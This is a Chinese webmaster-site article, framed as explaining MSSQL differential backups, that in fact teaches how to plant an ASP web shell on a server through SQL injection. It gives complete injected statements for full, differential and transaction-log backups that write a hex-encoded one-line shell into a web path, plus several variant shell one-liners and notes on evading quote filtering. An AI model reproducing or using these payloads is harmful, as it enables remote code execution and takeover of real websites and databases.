加入收藏 | 设为首页 | 会员中心 | 我要投稿 聊城站长网 (https://www.0635zz.com/)- 智能语音交互、行业智能、AI应用、云计算、5G!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

MSSQL差异备份是什么,具体如何实现

发布时间:2023-06-03 13:58:41 所属栏目:MsSql教程 来源:
导读:在实际应用中,我们有时候会遇到“MSSQL差异备份是什么,具体怎样实现”这样的问题,我们该怎样来处理呢?下文给大家介绍了解决方法,希望这篇“MSSQL差异备份是什么,具体怎样实现”文章能帮助
在实际应用中,我们有时候会遇到“MSSQL差异备份是什么,具体怎样实现”这样的问题,我们该怎样来处理呢?下文给大家介绍了解决方法,希望这篇“MSSQL差异备份是什么,具体怎样实现”文章能帮助大家解决问题。
 
MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!  
 
差异备份的流程大概这样:
 
1.完整备份一次(保存位置当然可以改)
 
backup database 库名 to disk = 'c:\ddd.bak';--
 
2.创建表并插曲入数据
 
create table [dbo].[dtest] ([cmd] [image]);
 
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
 
3.进行差异备份
 
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
 
上面
 
0x3C25657865637574652872657175657374282261222929253E
 
就是一句话木马的内容:<%execute(request("a"))%>
 
如下是网上常见的差异备份代码,思路一样!
 
===================================================
 
利用差异备份提高提高backupwebshell的成功率,减少文件大小
 
步骤:
 
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
 
create table [dbo].[xiaolu] ([cmd] [image]);
 
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
 
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT
 
0x77006F006B0061006F002E00620061006B00为wokao.bak
 
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
 
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
 
声明:方法不是我想的,我只是写工具,默认得到shell是
 
<%execute(request("a"))%>
 
===============================================================
 
我发现上面代码,有时会无效,而直接用
 
backup database 库名 to disk = 'c:\ddd.bak'
 
create table [dbo].[dtest] ([cmd] [image]);
 
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
 
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
 
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
 
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
 
 
网上还有log增量备份的,我也把他记录一下
 
=====================================================
 
另一种log增量备份技术:
 
';alter database null set RECOVERY FULL--
 
';create table cmd (a image)--
 
';backup log null to disk = 'f:\cmd' with init--
 
';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
 
9253EDA)--
 
';backup log null to disk = '备份路径'--
 
PS:0x3C2565786563757465287265717565737428226122292
 
9253EDA 是一句话小马16进制转来的
 
说到一句话马,还可以有这么几种写法:
 
a).<%%25Execute(request("a"))%%25>
 
b).<%Execute(request("a"))%>
 
c).%><%execute request("a")%><%
 
d).<script language=VBScript runat=server>execute request("a")</script>
 
e).<%25Execute(request("a"))%25>  
 
 

(编辑:聊城站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章